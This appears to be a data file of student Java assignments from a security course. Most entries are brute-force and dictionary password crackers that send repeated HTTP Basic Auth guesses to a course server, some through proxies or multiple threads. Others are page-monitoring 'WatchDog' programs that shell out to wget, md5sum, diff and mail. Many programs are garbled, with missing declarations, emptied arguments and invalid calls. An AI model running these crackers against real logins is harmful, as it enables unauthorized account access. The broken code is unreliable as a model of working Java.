Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue(); + + static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue(); + static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue(); + + static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(""proxyServer""); + static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(""proxyUserName""); + static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(""proxypassword""); + + static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod""); + static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); + + static final String[] cValidChars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""}; + + public BruteForce() { + super(); + } + + + + + public static void main (String[] args) throws Exception { + + String statusLine = "" ""; + int count = 0; + int firstLetterIndex = 0; + int secondLetterIndex = 0; + int thirdLetterIndex = 0; + int divValue = 0; + + + + + String userName = """"; + String password = """"; + + + HttpClient client = new HttpClient(); + + + + if (USE_PROXY_SERVER == 1) { + client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); + client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); + + } + + client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); + client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); + GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); + + + + + count = 0; + + for (int f = 0; f < 52; f++) { + + firstLetterIndex = f; + + password = cValidChars[firstLetterIndex]; + System.out.println(""Count: ""+ count + "" First Index: ""+ firstLetterIndex+ "" password: ""+ password); + + client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); + client.executeMethod(getMethod); + statusLine = getMethod.getStatusLine().toString(); + + + if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { + System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); + System.exit(0); + } + } + + + + count = 0; + + for (int g = 0; g < 52; g++) { + + firstLetterIndex = g; + + for (int h = 0; h < 52; h++) { + + secondLetterIndex = h; + + password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]; + + System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); + + client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); + + ++count; + + divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; + + + if (divValue == 0) { + + System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue + "" Releasing the connection and getting new one""); + getMethod.releaseConnection(); + getMethod = null; + getMethod = new GetMethod(GET_METHOD_HACKER); + + } + + client.executeMethod(getMethod); + + statusLine = getMethod.getStatusLine().toString(); + System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); + + if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { + System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); + + System.exit(0); + } + } + + } + + + + + getMethod.releaseConnection(); + getMethod = null; + getMethod = new GetMethod(GET_METHOD_HACKER); + + count = 0; + for (int i = 0; i < 52; i++) { + + firstLetterIndex = i; + + for (int j = 0; j < 52; j++) { + + secondLetterIndex = j; + + for (int k = 0; k < 52; k++) { + + thirdLetterIndex = k; + + password = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]; + System.out.println(""Count: ""+ count+ "" First Index: ""+ firstLetterIndex+ "" Second Index: ""+ secondLetterIndex+ "" Third Index: ""+ thirdLetterIndex+ "" ""+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ "" password: ""+ password); + + client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); + + ++count; + + divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; + + + if (divValue == 0) { + + System.out.println(""Count: ""+ count+ "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); + getMethod.releaseConnection(); + getMethod = null; + getMethod = new GetMethod(GET_METHOD_HACKER); + + } + + client.executeMethod(getMethod); + statusLine = getMethod.getStatusLine().toString(); + + if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { + System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); + System.exit(0); + } + } + } + } + } +} +" +136.java," + + + + + +import java.util.*; +import java.io.*; +import java.net.*; + +public class MyWatchDogTimer extends TimerTask +{ + public void run() + { + Runtime rt = Runtime.getRuntime(); + Process prss= null; + String initialmd5,presentmd5,finalmd5,temp1; + String mesg1 = new String(); + String subject = new String(""Report of WatchDog""); + + int i; + + try + { + + prss = rt.exec(""md5sum first.html""); + + InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); + BufferedReader bufread1 = new BufferedReader(instre1); + + sw = bufread1.readLine(); + i = finalmd5.indexOf(' '); + initialmd5 = finalmd5.substring(0,i); + System.out.println(""this is of first.html--->""+initialmd5); + + + + prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/""); + + + prss = rt.exec(""md5sum present.html""); + + InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); + BufferedReader bufread2 = new BufferedReader(instre2); + + temp1 = bufread2.readLine(); + i = temp1.indexOf(' '); + presentmd5 = temp1.substring(0,i); + System.out.println(""this is of present.html---->""+presentmd5); + + + if(initialmd5.equals(presentmd5)) + System.out.println(""The checksum found using md5sum is same""); + else + { + prss = rt.exec(""diff first.html present.html > diff.html""); + System.out.println("" is different""); + prss = null; + mesg1 =""php mail.php""; + prss = rt.exec(mesg1); + } + + prss = rt.exec(""rm present.*""); + + }catch(java.io.IOException e){} + + } +} +" +108.java," + + + + +import java.io.InputStream; +import java.util.Properties; + +import javax.naming.Context; +import javax.naming.InitialContext; +import javax.rmi.PortableRemoteObject; +import javax.sql.DataSource; + + + +public class DictionaryPropertyHelper { + + private static Properties dictProps; + + + + public DictionaryPropertyHelper() { + } + + + + public static String getProperty(String pKey){ + try{ + initProps(); + } + catch(Exception e){ + System.err.println(""Error init'ing the dictionary Props""); + e.printStackTrace(); + } + return dictProps.getProperty(pKey); + } + + + private static void initProps() throws Exception{ + if(dictProps == null){ + dictProps = new Properties(); + + InputStream fis = + DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties""); + dictProps.load(fis); + } + } +} + +" +072.java," + + + + + + + +import java.net.*; +import java.io.*; +import java.util.*; + + +public class BruteForce +{ + public BruteForce() + { + try { + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2""); + MyAuthenticator m = new MyAuthenticator(); + Authenticator userPassword = m.getPasswordAuthentication("": "", ""Z""); + URLConnection uc = url.openConnection(); + HttpURLConnection http = (HttpURLConnection) uc; + uc.setRequestProperty (""Authorization"", "" ""); + + + System.out.println(""hello""); + + http.setRequestMethod(""POST""); + } catch (MalformedURLException e) { + System.out.println(""Invalid URL""); + } catch (IOException e) { + System.out.println(""Error URL""); + } + } + +public static void main (String args[]) { + BruteForce gogetit = new BruteForce(); + } + +class MyAuthenticator { + Authenticator getPasswordAuthentication(String login, char password) { + { + + + for(int i = 0; i < 3; i++) + { + password = (char)(57.0 * Math.random() + 65); + if ((password < 97) && (password > 90)) + { + i--; + continue; + } + login = login + password; + } + + }while(uc.getURL()!= 401); + + } +} + +} +" +191.java," + + + + +import java.io.IOException; +import java.net.*; + +import java.io.*; +import java.util.*; + + + +public class BruteForce + +{ + + static String strLetter[]; + + static URL url = null; + static URLConnection urlConnection; + static InputStream urlStream; + + static String strExceptionPassword[]; + + static int intExceptionCount = -1; + + static int intNumberOfConnectionAttempts = 0; + + static String username = """"; + + static String strLastPasswordTested; + + + + public static void main (String args[]) + + { + + + + Calendar calStart; + Calendar calFinish; + Date dateStart; + Date dateFinish; + lngStart; + lngFinish; + + + + + + calStart = new GregorianCalendar(); + dateStart = calStart.getTime(); + lngStart = dateStart.getTime(); + + + + + System.out.println(); + System.out.println(); + + + + + + + populateArray(); + + + + + + + + boolean boolPasswordFound = false; + boolean boolExceptionPasswordsTestedAgain = false; + + String strPasswd; + + + + + String urlString + = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + + int intCounter1 = 0; + int intCounter2 = 0; + int intCounter3 = 0; + + int intArrayLength = strLetter.length; + + + + + + + + + + strExceptionPassword = new String[5000]; + + + + if (!boolPasswordFound) + { + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) + { + + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound(urlString, + strLetter[intCounter1], + boolPasswordFound); + + intCounter1++; + + } + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) + { + + intCounter2 = 0; + + while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) + { + + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound + (urlString, + strLetter[intCounter1] + + strLetter[intCounter2], + boolPasswordFound); + + intCounter2++; + + } + + + intCounter1++; + + } + + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 < intArrayLength) ) + { + + intCounter2 = 0; + + while ( (!boolPasswordFound) && (intCounter2 < intArrayLength) ) + { + + intCounter3 = 0; + + + while ( (!boolPasswordFound) && (intCounter3 < intArrayLength) ) + { + + boolPasswordFound = true; + + + boolPasswordFound + = passwordWasFound + (urlString, + strLetter[intCounter1] + + strLetter[intCounter2] + + strLetter[intCounter3], + boolPasswordFound); + + intCounter3++; + + } + + + intCounter2++; + + } + + + intCounter1++; + + } + + + + + + + + + + + intCounter1 = 0; + + while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) ) + { + + boolExceptionPasswordsTestedAgain = true; + boolPasswordFound = true; + + boolPasswordFound + = passwordWasFound(urlString, + strExceptionPassword[intCounter1], + boolPasswordFound); + + intCounter1++; + + } + + } + + + + System.out.println(); + + + + + + calFinish = new GregorianCalendar(); + dateFinish = calFinish.getTime(); + lngFinish = dateFinish.getTime(); + + + + + + System.out.println(); + System.out.println(); + + + System.out.println(); + System.out.println(""Length of time for processing: "" + + ((lngFinish - lngStart) / 1000) + + "" seconds""); + + + System.out.println(); + System.out.println(""Number of connection attempts = "" + intNumberOfConnectionAttempts); + + + System.out.println(); + System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1)); + + + if (intExceptionCount >= 0) + { + System.out.print(""These EXCEPTION passwords WERE ""); + + if (boolExceptionPasswordsTestedAgain) + System.out.print(""tested again.""); + else + System.out.print(""NOT tested again.""); + + System.out.println(); + } + + + System.out.println(); + + + if (boolPasswordFound) + { + System.out.println(""The correct password WAS found - this password is '"" + + strLastPasswordTested + ""'.""); + } + else + { + System.out.println(""The correct password WAS NOT found.""); + } + + System.out.println(); + + + + + } + + + + + + + + static void populateArray() + + { + + strLetter = new String[52]; + + + strLetter[0] = ""a""; + strLetter[1] = ""b""; + strLetter[2] = ""c""; + strLetter[3] = ""d""; + strLetter[4] = ""e""; + strLetter[5] = ""f""; + strLetter[6] = ""g""; + strLetter[7] = ""h""; + strLetter[8] = ""i""; + strLetter[9] = ""j""; + strLetter[10] = ""k""; + strLetter[11] = ""l""; + strLetter[12] = ""m""; + strLetter[13] = ""n""; + strLetter[14] = ""o""; + strLetter[15] = ""p""; + strLetter[16] = ""q""; + strLetter[17] = ""r""; + strLetter[18] = ""s""; + strLetter[19] = ""t""; + strLetter[20] = ""u""; + strLetter[21] = ""v""; + strLetter[22] = ""w""; + strLetter[23] = ""x""; + strLetter[24] = ""y""; + strLetter[25] = ""z""; + strLetter[26] = ""A""; + strLetter[27] = ""B""; + strLetter[28] = ""C""; + strLetter[29] = ""D""; + strLetter[30] = ""E""; + strLetter[31] = ""F""; + strLetter[32] = ""G""; + strLetter[33] = ""H""; + strLetter[34] = ""I""; + strLetter[35] = ""J""; + strLetter[36] = ""K""; + strLetter[37] = ""L""; + strLetter[38] = ""M""; + strLetter[39] = ""N""; + strLetter[40] = ""O""; + strLetter[41] = ""P""; + strLetter[42] = ""Q""; + strLetter[43] = ""R""; + strLetter[44] = ""S""; + strLetter[45] = ""T""; + strLetter[46] = ""U""; + strLetter[47] = ""V""; + strLetter[48] = ""W""; + strLetter[49] = ""X""; + strLetter[50] = ""Y""; + strLetter[51] = ""Z""; + + } + + + + + + + + static boolean passwordWasFound(String urlString, + String password, + boolean retVal) + + { + + String strEncodeInput = username + "":"" + password; + boolean returnValue = retVal; + boolean boolExceptionThrown = false; + + + + try + { + + strLastPasswordTested = password; + + intNumberOfConnectionAttempts++; + + url = new URL(urlString); + + String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); + + + System.out.print(""username = "" + + username + + "" "" + + ""password = "" + + password); + + + + HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); + + urlConnection.setRequestProperty(""Authorization"", + "" "" + encoding); + + System.out.println("" response = "" + urlConnection.getResponseCode()); + + if (urlConnection.getResponseCode() == 401) + { + returnValue = false; + } + + } + + catch (MalformedURLException m) + { + boolExceptionThrown = true; + returnValue = false; + + System.err.println(m); + System.out.println(""Malformed URL Exception error""); + } + + catch (IOException io) + { + boolExceptionThrown = true; + returnValue = false; + + System.out.println(""IOException error""); + System.err.println(io); + } + + catch (Exception e) + { + boolExceptionThrown = true; + returnValue = false; + + System.out.println(""General exception.....""); + System.err.println(e); + } + + finally + { + urlConnection = null; + url = null; + } + + + if (boolExceptionThrown) + { + intExceptionCount++; + strExceptionPassword[intExceptionCount] = password; + } + + + return returnValue; + + } + +}" +089.java,"import java.io.*; +import java.net.*; +import java.security.*; +import java.math.*; +import java.*; +import java.util.*; + + +public class BruteForce +{ + public static void main (String args[]) throws Exception { + String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; + int found = 0, count = 0, ctrl = 0, flag = 0; + + + stime = System.currentTimeMillis(); + char[] c = new char[3]; + System.out.println(""Cracking password by Brute Force...""); + + for(int i=65; ((i<123) && (found == 0)); i++) + { + for(int j=65; ((j<123) && (found == 0)); j++) + { + for (int k=65; ((k<123) && (found == 0)); k++) + { + try { + if (ctrl == 0) { + c[0] = '\0'; + c[1] = '\0'; + } else if ((ctrl == 1) && (flag == 0)) { + c[0] = '\0'; + } + c[2] = (char)(k); + + + URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + URLConnection yc = yahoo.openConnection(); + + + String authString = "":"" + String.valueOf(); + String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); + yc.setRequestProperty(""Authorization"", "" "" + auth); + count++; + + + BufferedReader in = new BufferedReader( + new InputStreamReader( + yc.getInputStream())); + + String inputLine; + while ((inputLine = in.readLine()) != null){ + System.out.println(inputLine); + etime = System.currentTimeMillis(); + System.out.println(""Password found -- "" + String.valueOf()); + System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); + System.out.println(""# of attempt = "" + count); + System.out.println(""End of cracking!""); + found = 1; + } + in.print(); + + } catch (Exception ex) {} + } + ctrl = 1; + c[1] = (char)(j); + } + ctrl = 2; + flag = 1; + c[0] = (char)(i); + } + if (found == 0){ + System.out.println(""Sorry, password found.""); + System.out.println(""# of attempt = "" + count); + System.out.println(""End of cracking!""); + } + } +}" +213.java,"import java.io.*; +import java.util.*; + +public class getImage +{ + private FileWriter fw; + public getImage() + {} + public void translogFile(String[] result) + { + String fileName = ""ImageList.txt""; + try{ + fw=new FileWriter(fileName,false); + for(int i=0;result[i]!=null;i++) + { + fw.write(result[i]); + fw.write('\n'); + } + fw.close(); + System.out.println(""Saved sucessfully""); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + } + public void translogFile1(String[] result) + { + String fileName = ""JpgGifList.txt""; + try{ + fw=new FileWriter(fileName,false); + for(int i=0;result[i]!=null;i++) + { + fw.write(result[i]); + fw.write('\n'); + } + fw.close(); + System.out.println(""Saved sucessfully""); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + } + public void tokenFile(String fileName) + { + + String tuteId=""""; + String aWord=""""; + String bWord=""""; + String cWord=""""; + String line=null; + String[] myArray = new String[10]; + String[] myArrayB = new String[10]; + boolean studFlag=false; + int j=0; + int i=0; + try + { + BufferedReader inputStream= new BufferedReader(new FileReader(fileName)); + line=inputStream.readLine(); + while (line!= null) + { + StringTokenizer word= new StringTokenizer(line,"" '\""' ""); + while (word.hasMoreTokens()) + { + aWord=word.nextToken(); + if(aWord.endsWith(""gif"") || aWord.endsWith(""jpg"")) + { + if(!aWord.startsWith(""http"")) + { + bWord = ""http://www.cs.rmit.edu.""+aWord; + myArray[j++]=bWord; + System.out.println(bWord); + StringTokenizer word1= new StringTokenizer(aWord,""/""); + while (word1.hasMoreTokens()) + { + cWord=word1.nextToken(); + if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg"")) + { + myArrayB[i++]=cWord; + } + } + } + else + { + + myArray[j++]=aWord; + System.out.println(aWord); + StringTokenizer word1= new StringTokenizer(aWord,""/""); + while (word1.hasMoreTokens()) + { + cWord=word1.nextToken(); + if(cWord.endsWith(""gif"") || cWord.endsWith(""jpg"")) + { + myArrayB[i++]=cWord; + } + } + } + } + } + line=inputStream.readLine(); + } + translogFile(myArray); + translogFile1(myArrayB); + inputStream.close(); + + } + catch(FileNotFoundException e) + { + System.err.println(""File ""+fileName+"" was not found""); + } + catch(IOException e) + { + System.err.println(""Error ""); + } + } + +}" +077.java," + + + + + +import java.io.*; +import java.net.*; + + + +public class Dictionary +{ + public static void main (String args[]) throws IOException, + MalformedURLException + { + final String username = """"; + final String fullurl = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + final String dictfile = ""/usr/share/lib/dict/words""; + String temppass; + String password = """"; + URL url = new URL(fullurl); + boolean cracked = false; + + startTime = System.currentTimeMillis(); + + + BufferedReader r = new BufferedReader(new FileReader(dictfile)); + + while((temppass = r.readLine()) != null && !cracked) + { + + if(temppass.length() <= 3) + { + + if(isAlpha(temppass)) + { + + Authenticator.setDefault(new MyAuthenticator(username,temppass)); + try{ + BufferedReader x = new BufferedReader(new InputStreamReader( + url.openStream())); + cracked = true; + password = temppass; + } catch(Exception e){} + } + } + } + + stopTime = System.currentTimeMillis(); + + if(!cracked) + System.out.println(""Sorry, couldnt find the password""); + else + System.out.println(""Password found: ""+password); + System.out.println(""Time taken: ""+(stopTime-startTime)); + } + + public static boolean isAlpha(String s) + { + boolean v = true; + for(int i=0; i 0) { + System.exit(0); + } + } + + + for (int b = 0; b < 52; b++) { + l1 = b; + for (int c = 0; c < 52; c++) { + + l2 = c; + pwd = val[l1]+ val[l2]; + retval = 0; + retval = s.runProcess(urlToSearch,pwd); + if (retval > 0) { + System.exit(0); + } + } + } + + + for (int d = 0; d < 52; d++) { + l1 = d; + for (int e = 0; e < 52; e++) { + l2 = e; + for (int f = 0; f < 52; f++) { + + l3 = f; + + pwd = val[l1]+ val[l2]+ val[l3]; + retval = 0; + retval = s.runProcess(urlToSearch,pwd); + if (retval > 0) { + System.exit(0); + } + } + } + } + + } +} + +" +033.java," + +class WebPage +{ + + + private boolean success = false; + + private String pageContents= """"; + + + + public WebPage() + { + } + + + public void setSuccess (boolean inSuccess) + { + success = inSuccess; + } + + + public boolean getSuccess() + { + return success; + } + + + public void setPageContents (String inPage) + { + pageContents = inPage; + } + + + public String getPageContents() + { + return pageContents; + } +} +" +199.java," + +import java.*; +import java.io.*; +import java.util.*; + +public class Dictionary +{ + public String[] passwds; + public int passwdNum; + public static void main(String[] args) throws IOException + { + Dictionary dic=new Dictionary(); + dic.doDictionary(); + System.exit(1); + } + + void doDictionary() throws IOException + { + Runtime rt=Runtime.getRuntime(); + passwds=new String[32768]; + passwdNum=0; + + time1=new Date().getTime(); + + try + { + File f = new File (""words""); + FileReader fin = new FileReader (f); + BufferedReader buf = new BufferedReader(fin); + passwds[0]=""00""; + System.out.println("" loading words....""); + + { + passwds[passwdNum]=buf.readLine(); + passwdNum++; + }while(passwds[passwdNum-1]!=null); + System.out.println(""Finish loading words.""); + } catch (FileNotFoundException exc) { + System.out.println (""File Not Found""); + } catch (IOException exc) { + System.out.println (""IOException 1""); + } catch (NullPointerException exc) { + System.out.println (""NullPointerException""); + } + + System.out.println("" cracking....""); + for(int i=0;i workload: "" + + this.letters[getRangeStart()] + "" "" + + this.letters[getRangeEnd() - 1]); + setStart(new Timestamp(System.currentTimeMillis())); + + for (int i = getRangeStart(); + i < getRangeEnd(); + i++) + { + System.out.println(Thread.currentThread().getName() + + ""-> Trying words beginning with: "" + + letters[i]); + for (int i2 = 0; + i2 < letters.length; + i2++) + { + for (int i3 = 0; + i3 < letters.length; + i3++) + { + if (isStop()) + { + return; + } + try + { + char [] arr = new char [] {letters[i], letters[i2], letters[i3]}; + String pwd = new String(arr); + + if (Thread.currentThread().getName().equals(""Thread-1"") && pwd.equals(""bad"")) + { + System.out.println(Thread.currentThread().getName() + + ""-> Trying password: "" + + pwd); + } + attempts++; + + BasicAuthHttpRequest req = + new BasicAuthHttpRequest( + getURL(), + getUserName(), + pwd); + System.out.println(""Got the password""); + setPassword(pwd); + setEnd(new Timestamp(System.currentTimeMillis())); + setContent(req.getContent().toString()); + + + this.setChanged(); + this.notifyObservers(this.getContent()); + return; + } + catch (MalformedURLException e) + { + e.printStackTrace(); + return; + } + catch (IOException e) + { + + } + } + } + } + + + setEnd(new Timestamp(System.currentTimeMillis())); + } + +} +" +232.java,"import java.util.*; +import java.io.*; +import java.*; + +public class WatchDog +{ + public static void main (String [] args) throws Exception + { + executes(""rm index.*""); + executes(""wget http://www.cs.rmit.edu./students""); + + while (true) + { + String addr= ""wget http://www.cs.rmit.edu./students""; + executes(addr); + String hash1 = md5sum(""index.html""); + String hash2 = md5sum(""index.html.1""); + System.out.println(hash1 +""|""+ hash2); + + if (hash1.equals(hash2)) + { + + } + else + { + executes("".~/Assign2/difference.sh""); + executes("".~/Assign2/mail1.sh""); + } + + executes(""rm index.html""); + executes(""cp index.html.1 index.html""); + executes(""rm index.html.1""); + executes(""sleep 86400""); + } + } + + public static void executes(String comm) throws Exception + { + Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); + + BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream())); + + String s; + while(( s = bf.readLine()) != null) + { + System.out.println(); + } + p.waitFor(); + } + + public static String md5sum(String file) throws Exception + { + String s; + String hash= "" ""; + + Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", + ""-c"", ""md5sum ""+file }); + BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream())); + + while((b = bf.readLine()) != null) + { + StringTokenizer word=new StringTokenizer(); + hash=word.nextToken(); + System.out.println(hash); + } + return hash; + + } +} + +" +008.java," + +import java.io.*; +import java.*; + +public class BruteForce +{ + public static void main(String args[]) + { + String s = null; + String basic_url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + + String alphabets = new String(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); + + String password = null; + int len = 0; + int num_tries = 0; + + len = alphabets.length(); + + + for (int i=0; i ""); + System.exit(1); + } + Dictionary d = null; + try { + d = new Dictionary(args[0], args[1], args[2]); + } catch (MalformedURLException me) { + me.printStackTrace(); + System.exit(1); + } catch (FileNotFoundException fe) { + fe.printStackTrace(); + System.exit(1); + } + d.work(); + } + + + public Dictionary(String url, String username, String passwordFilename) + throws MalformedURLException, FileNotFoundException { + this.url = new URL(url); + this.username = username; + thisPassword = new char [] {'a'}; + File f = new File(passwordFilename); + FileReader fr = new FileReader(f); + bf = new BufferedReader(fr); + } + + + public void work() { + Authenticator.setDefault(this); + HttpURLConnection uc = null; + try { + uc = (HttpURLConnection) url.openConnection(); + uc.connect(); + while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && + thisPassword !=null) { + try { + InputStream is = uc.getInputStream(); + uc.connect(); + } catch (ProtocolException pe) { + uc = (HttpURLConnection) url.openConnection(); + } catch (NullPointerException npe) { + npe.printStackTrace(); + System.exit(1); + } + } + } catch (java.io.IOException e ) { + e.printStackTrace(); + System.exit(1); + } + System.out.println(""password="" + new String(thisPassword)); + } + + + public PasswordAuthentication getPasswordAuthentication() { + String s=null; + try { + for(s = bf.readLine(); s!=null; s = bf.readLine()) { + if(s.length()==3) { + break; + } + } + } catch (IOException e) { + e.printStackTrace(); + System.exit(1); + } + if(s.length()!=3) { + thisPassword = null; + } else { + thisPassword = s.toCharArray(); + } + return new PasswordAuthentication(username, thisPassword); + } +} +" +084.java," + +import java.Thread; +import java.io.*; +import java.net.*; + +public class BruteForce extends Thread { + final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'}; + final static int SUCCESS=1, + FAILED=0, + UNKNOWN=-1; + private static String host, + path, + user; + private Socket target; + private InputStream input; + private OutputStream output; + private byte[] data; + private int threads, + threadno, + response; + public static boolean solved = false; + BruteForce parent; + + + public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent) + { + super(); + this.parent = parent; + this.host = host; + this.path = path; + this.user = user; + this.threads = threads; + this.threadno = threadno; + } + + public void run() + { + response = FAILED; + int x = 0; + starttime = System.currentTimeMillis(); + + for(int i=0; i ""); + System.out.println("" arguments specified, using standard values.""); + host = ""sec-crack.cs.rmit.edu.""; + path = ""/SEC/2/index.php""; + user = """"; + } + System.out.println(""Host: "" + host + ""\nPath: "" + path + ""\nUser: "" + user); + System.out.println(""Using "" + attackslaves.length + "" happy threads...""); + + parent = new BruteForce(host, path, user, 0, 0, null); + + for(int i=0; i ""+line1; + k++; + isDiff=true; + } + line=buf.readLine(); + line1=buf1.readLine(); + lineNum++; + diffNum=k; + if(diffNum==2000) + { + System.out.println("" many differents store!""); + System.exit(1); + } + }while(line!=null&&line1!=null); + + + if(isDiff) + { + try + { + File diffFile=new File(""differents""+(char)((int)flags-2)+"".txt""); + FileWriter fw = new FileWriter (diffFile); + for(int j=0;j 0) || (str.indexOf(""jpg"") > 0)) + imgVect.addElement(str); + } + + } + + }catch (IOException ioe) + { + System.out.println(""IOException""); + ioe.printStackTrace(); + } + catch (Exception e) + { + System.out.println(""Exception""); + e.printStackTrace(); + } + + mailwriter.println(""Creating file with md5sums of the webpage and images...""); + md5Create(imgVect); + + } + + static void md5Create(Vector imgVect) + { + String tmpString = null; + Vector imgNames = new Vector(); + + try + { + PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false))); + + p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile); + p.waitFor(); + bf= new BufferedReader(new InputStreamReader( + p.getInputStream())); + pr.println(bf.readLine()); + + for(int i=0; i 0) || (str.indexOf(""jpg"") > 0)) + prsName=str; + } + return (Object)prsName; + } +} +" +075.java," + + + +import java.io.*; +import java.net.*; + +public class WatchDog +{ + public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException + { + final String fullurl = ""http://www.cs.rmit.edu./students/""; + final int waitperiod = 1000*60*60*24; + final String email = ""@cs.rmit.edu.""; + lastmodified = 0; + lastmodifiedsave = 0; + boolean first = true; + URL url = new URL(fullurl); + while(true) + { + URLConnection uc = url.openConnection(); + lastmodified = uc.getLastModified(); + if(first) + { + + lastmodifiedsave = lastmodified; + first = false; + Execute ex1 = new Execute(""wget -q -nc -O ""+fullurl); + } + + if(lastmodified != lastmodifiedsave) + { + lastmodifiedsave = lastmodified; + + Execute ex2 = new Execute(""mv .old""); + + Execute ex3 = new Execute(""wget -q -nc -O ""+fullurl); + Execute ex4 = new Execute(""echo \""The ""+fullurl+"" was modified, here the modifications:\"" > pagediff""); + + Execute ex5 = new Execute(""diff .old >> pagediff""); + + Execute ex6 = new Execute(""mailx -s \"" modification\"" \""""+email+""\"" < pagediff""); + System.out.println(""Modification notice! Check your mail.""); + } + + + Thread.sleep(waitperiod); + } + } +} +" +100.java," + + +import java.net.*; +import java.io.*; +import java.Runtime; + +public class WatchDog{ + public WatchDog(){} + + + public void copyTo(){ + + } + + public static void main(String[] args) throws Exception { + WatchDog wd= new WatchDog(); + SendEMail t = new SendEMail(); + PrintWriter pw=null; + URL url = new URL(""http://www.cs.rmit.edu./students""); + URLConnection yc = url.openConnection(); + System.out.println(""Connection opened...""); + BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream())); + String inputLine; + try{ + pw=new PrintWriter(new FileOutputStream(""newHtml"")); + while ((inputLine = in.readLine()) != null){ + + pw.println(inputLine); + } + pw.save(); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + + + Process p = Runtime.getRuntime().exec(""diff -b newHtml oldHtml""); + InputStream write = p.getInputStream(); + BufferedReader bf = new BufferedReader (new InputStreamReader(write)); + String line = bf.readLine(); + if (line != null){ + pw=new PrintWriter(new FileOutputStream(""diff"")); + try{ + while (line != null){ + pw.println(line); + line = bf.readLine(); + } + pw.save(); + 